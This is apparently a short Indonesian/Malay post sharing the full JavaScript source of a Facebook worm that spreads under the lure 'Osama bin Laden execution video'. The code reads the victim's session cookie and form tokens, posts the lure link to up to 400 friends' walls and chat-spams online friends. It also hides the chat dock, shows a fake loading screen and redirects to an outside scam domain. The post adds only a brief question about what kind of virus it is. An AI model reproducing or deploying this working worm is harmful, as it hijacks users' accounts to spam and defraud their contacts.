Ini adalah source code virus facebook osama bin laden
juga available di pastebin.com saya --> http://pastebin.com/vJM7CctN





  1. //alert('Photo Uploaded! Please wait 1-2 minutes without leaving this page until we process your picture!');
  2. function readCookie(name) {
  3. var nameEQ = name + "=";
  4. var ca = document.cookie.split(';');
  5. for(var i=0;i < ca.length;i++) {
  6.   var c = ca[i];
  7.   while (c.charAt(0)==' ') c = c.substring(1,c.length);
  8.   if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  9. }
  10. return null;
  11. }
  12. var user_id = readCookie("c_user");
  13. // Setup some variables
  14. var post_form_id = document.getElementsByName('post_form_id')[0].value;
  15. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  16. // Chat message variables
  17. var linkies = [
  18. "http://www.facebook.com/Osama.Gets.Shot.Down",
  19. "http://www.facebook.com/Osama.Gets.Shot.Down",
  20. "http://www.facebook.com/Osama.Gets.Shot.Down",
  21. "http://www.facebook.com/Osama.Gets.Shot.Down"
  22. ]
  23. var this_chat = "Watch Osama's EXECUTION Video! " + linkies[Math.floor(Math.random()*linkies.length)];
  24. var prepared_chat = encodeURIComponent(this_chat);
  25. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  26. // Post Link to friends walls
  27. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  28. var token = Math.round(new Date().getTime() / 1000);
  29. var http1 = new XMLHttpRequest();
  30. var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token="+token+"-6&filter[0]=user&options[0]=friends_only";
  31. var params1 = "";
  32. http1.open("GET", url1+"?"+params1, true);
  33. http1.onreadystatechange = function() {//Call a function when the state changes.
  34. if(http1.readyState == 4 && http1.status == 200) { // If state = success
  35.  
  36.   var response1 = http1.responseText;
  37.  
  38.   response1 = response1.replace("for (;;);", ""); // Get rid of the junk at the beginning of the returned object
  39.   response1 = JSON.parse(response1); // Convert the response to JSON
  40.  
  41.   //alert(response4.toSource());
  42.  
  43.   var count = 0;
  44.  
  45.   for(uid in response1.payload.entries){
  46.    
  47.    if(count < 400){
  48.    
  49.     //alert("SENT TO "+response1.payload.entries[count].uid);
  50.     // Loop to send messages
  51.    
  52.     // New XMLHttp object
  53.     var httpwp = new XMLHttpRequest();
  54.        
  55.     var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1";
  56.    
  57.     var statusmessage="Disturbing Yet Awesome!";
  58.     var title="Bin Laden EXECUTION Video! Yes it's REAL!";
  59.     var link=linkies[Math.floor(Math.random()*linkies.length)];
  60.     var description="Commandos attack Bin Laden's compund and take him out!";
  61.     var picture="http://i.imgur.com/yTjtU.jpg";
  62.    
  63.     var paramswp = "post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&xhpc_composerid=u574553_1&xhpc_targetid="+response1.payload.entries[count].uid+"&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]="+title+"&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]="+link+"&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]="+title+"&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]="+picture+"&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]="+description+"&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]="+description+"&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]="+link+"&attachment[params][favicon]=http%3A%2F%2F20-y-rr-z.info%2Ffavicon.ico&attachment[params][title]="+title+"&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]="+description+"&attachment[params][url]="+link+"&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]="+description+"&attachment[params][images][0]="+picture+"&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text="+statusmessage+")&xhpc_message="+statusmessage+")&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest";
  64.    
  65.     httpwp.open("POST", urlwp, true);
  66.    
  67.     //Send the proper header information along with the request
  68.    
  69.     httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  70.     httpwp.setRequestHeader("Content-length", paramswp.length);
  71.     httpwp.setRequestHeader("Connection", "keep-alive");    
  72.    
  73.     httpwp.onreadystatechange = function() { //Call a function when the state changes.
  74.      if(httpwp.readyState == 4 && httpwp.status == 200){
  75.       //alert(http.responseText);
  76.       //alert('buddy list fetched');
  77.      }
  78.     }
  79.     httpwp.send(paramswp);
  80.    }
  81.    count++; // increment counter
  82.  
  83.   }
  84.    
  85.   http1.close; // Close the connection
  86.  
  87.  
  88.  
  89. }
  90. }
  91. http1.send(null);
  92. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  93. // Hide chat boxes
  94. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  95. var hide = document.getElementById('fbDockChatTabSlider');
  96. hide.style.display = "none";
  97. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  98. // Get online friends and send chat message to them
  99. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  100. var http3 = new XMLHttpRequest();
  101. var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1";
  102. var params3 = "user="+user_id+"&popped_out=false&force_render=true&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
  103. http3.open("POST", url3, true);
  104. //Send the proper header information along with the request
  105. http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  106. http3.setRequestHeader("Content-length", params3.length);
  107. http3.setRequestHeader("Connection", "close");
  108. http3.onreadystatechange = function() {//Call a function when the state changes.
  109. if(http3.readyState == 4 && http3.status == 200) {
  110.  
  111.   var response3 = http3.responseText;
  112.  
  113.   response3 = response3.replace("for (;;);", "");
  114.   response3 = JSON.parse(response3);
  115.  
  116.   var count = 0;
  117.  
  118.   for(property in response3.payload.buddy_list.nowAvailableList){
  119.    
  120.    if(count < 100){
  121.    
  122.     // Loop to send messages
  123.    
  124.     // New XMLHttp object
  125.     var httpc = new XMLHttpRequest();
  126.    
  127.     // Generate random message ID
  128.        
  129.     var msgid = Math.floor(Math.random()*1000000);
  130.    
  131.     var time = Math.round(new Date().getTime() / 1000);
  132.    
  133.     var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1";
  134.     var paramsc = "msg_id="+msgid+"&client_time="+time+"&to="+property+"&num_tabs=1&pvs_time="+time+"&msg_text="+prepared_chat+"&to_offline=false&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
  135.     httpc.open("POST", urlc, true);
  136.    
  137.     //Send the proper header information along with the request
  138.     httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  139.     httpc.setRequestHeader("Content-length", paramsc.length);
  140.     httpc.setRequestHeader("Connection", "close");
  141.    
  142.     httpc.onreadystatechange = function() { //Call a function when the state changes.
  143.      if(httpc.readyState == 4 && httpc.status == 200){
  144.       //alert(http.responseText);
  145.       //alert('buddy list fetched');
  146.      }
  147.     }
  148.     httpc.send(paramsc);
  149.    }
  150.    
  151.    //alert(property);
  152.    count++; // increment counter
  153.  
  154.   }
  155.  
  156.   http3.close; // Close the connection
  157.  
  158. }
  159. }
  160. http3.send(params3);
  161. /*
  162. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  163. // Become a Fan - MW GIVEAWAY
  164. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  165. var http4 = new XMLHttpRequest();
  166. var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  167. var params4 = "fbpage_id=217981564879947&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"
  168. http4.open("POST", url4, true);
  169. //Send the proper header information along with the request
  170. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  171. http4.setRequestHeader("Content-length", params4.length);
  172. http4.setRequestHeader("Connection", "close");
  173. http4.onreadystatechange = function() {//Call a function when the state changes.
  174. if(http4.readyState == 4 && http4.status == 200) {
  175.    
  176.   http4.close; // Close the connection
  177.  
  178. }
  179. }
  180. http4.send(params4);
  181. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  182. // Become a Fan - MW GIft
  183. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  184. var http5 = new XMLHttpRequest();
  185. var url5 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  186. var params5 = "fbpage_id=217981564879947&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"
  187. http5.open("POST", url5, true);
  188. //Send the proper header information along with the request
  189. http5.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  190. http5.setRequestHeader("Content-length", params5.length);
  191. http5.setRequestHeader("Connection", "close");
  192. http5.onreadystatechange = function() {//Call a function when the state changes.
  193. if(http5.readyState == 4 && http5.status == 200) {
  194.    
  195.   http5.close; // Close the connection
  196.  
  197. }
  198. }
  199. http5.send(params5);
  200. */
  201. //document.getElementById('susta').style.display="none";
  202. document.getElementById('contentArea').innerHTML="<center><br><br><br><br><br><br><br><br><img src=\"http://www.hindustantimes.com/images/loading_gif.gif\" /><br />Please wait...</center>";
  203. setTimeout("window.location = 'http://osama.mytopanswers.info/video.htm';", 15000);


**virus jenis ape nie ye?